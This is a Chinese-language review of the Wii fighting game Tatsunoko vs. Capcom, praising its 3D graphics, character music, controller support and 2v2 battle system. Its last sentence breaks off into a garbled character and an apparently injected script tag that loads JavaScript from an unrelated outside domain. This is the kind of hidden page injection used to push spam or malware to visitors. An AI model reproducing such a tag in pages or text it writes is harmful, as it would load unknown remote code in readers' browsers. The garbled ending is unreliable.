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就当一直在议论《街霸》是否真的会推出Wii版的时候,这款《龙之子VS卡普空》的游戏到来了,卡普空用这款游戏很好的表现出了它在Wii上制作格斗游戏的一些情况,行云流水的格斗游戏在Wii平台也是能轻易实现的,这也让我们也认为,之后的将来会有更多的卡普空制作的游戏会陆续登陆Wii平台。 游戏画面 流畅十足且绚丽无比的3D人物+动态3D背景的战斗画面是游戏的一大特色,游戏的进行给人感觉类似以前的《漫画英雄VS卡普空》两边攻防速度相当的快,而且不失华丽,也没有掉帧的情况出现,另外场景也会因为你所控制的角色发动的攻击而有少许的破坏。超必杀技时还有人物的特写呢。总体从画面制作上看出卡普空没有因为《街霸》的制作而对这款游戏犯一些粗心的毛病。同时这款游戏这也是《街霸》有可能推出Wii版这条新闻的最好回应。
[分页] 游戏音效 非常让人怀旧的各个人物的BGM在这款游戏中出现了,而且在战场上BGM会根据人物的交换而马上产生变化,也就是说2V2的战斗,必定会有2个BGM在一场对决中登场,非常的厚道。人物的打击也有一种拳拳到肉的质感,强力的连续技也有轰轰烈烈的感觉,总而言之是非常的棒。 游戏操作 本作的对应手柄之全面确实很厚道,把Wii对应的手柄全给支持了,可以挑选一种自己喜欢的,感觉最不顺手的要数横握的Wii手柄了,方向键太硬不太舒服,键位分布不是很合适,如果有经典手柄的话那就再好不过了,键位分布合理操作感也十足。游戏的攻防速度很快,要是被敌人打至无法还手的时候可以用爆发来挣脱敌人的攻击。如果感觉敌人攻击力太可怕的话还可以调整一下伤害值。 游戏系统 如果只是单纯的格斗游戏当然无法满足广大的用户群的,不过这款游戏可见内容还是比较丰富的。可以保证长时间的耐玩度,还有一些列的对战内容在等着你。 菜单 [分页] 游戏主要可以分成这几个大模式:对战模式、训练模式、购买和鉴赏、迷你游戏对战模式。 对战模式 作为格斗游戏最重要的部分当然是对战,游戏中进行的是2v2的格斗制,除了热闹的气氛外还加大的乱斗的“乱”,游戏中主要分为体力值和精神力值,这都比较好理解。另外游戏中主要计算伤害值的单位也和别的格斗游戏不同,它以数字作为计算单位来表示人物的受伤害程度,用数字来反应受伤害程度其实是更方便打出高伤害值,当然其中也是有会心一击的能更大程度的加大伤害,最后由于是2V2的格斗形式被替换下去的角色可以回复体力值变?script src=http://cn.jxmmtv.com/cn.js> |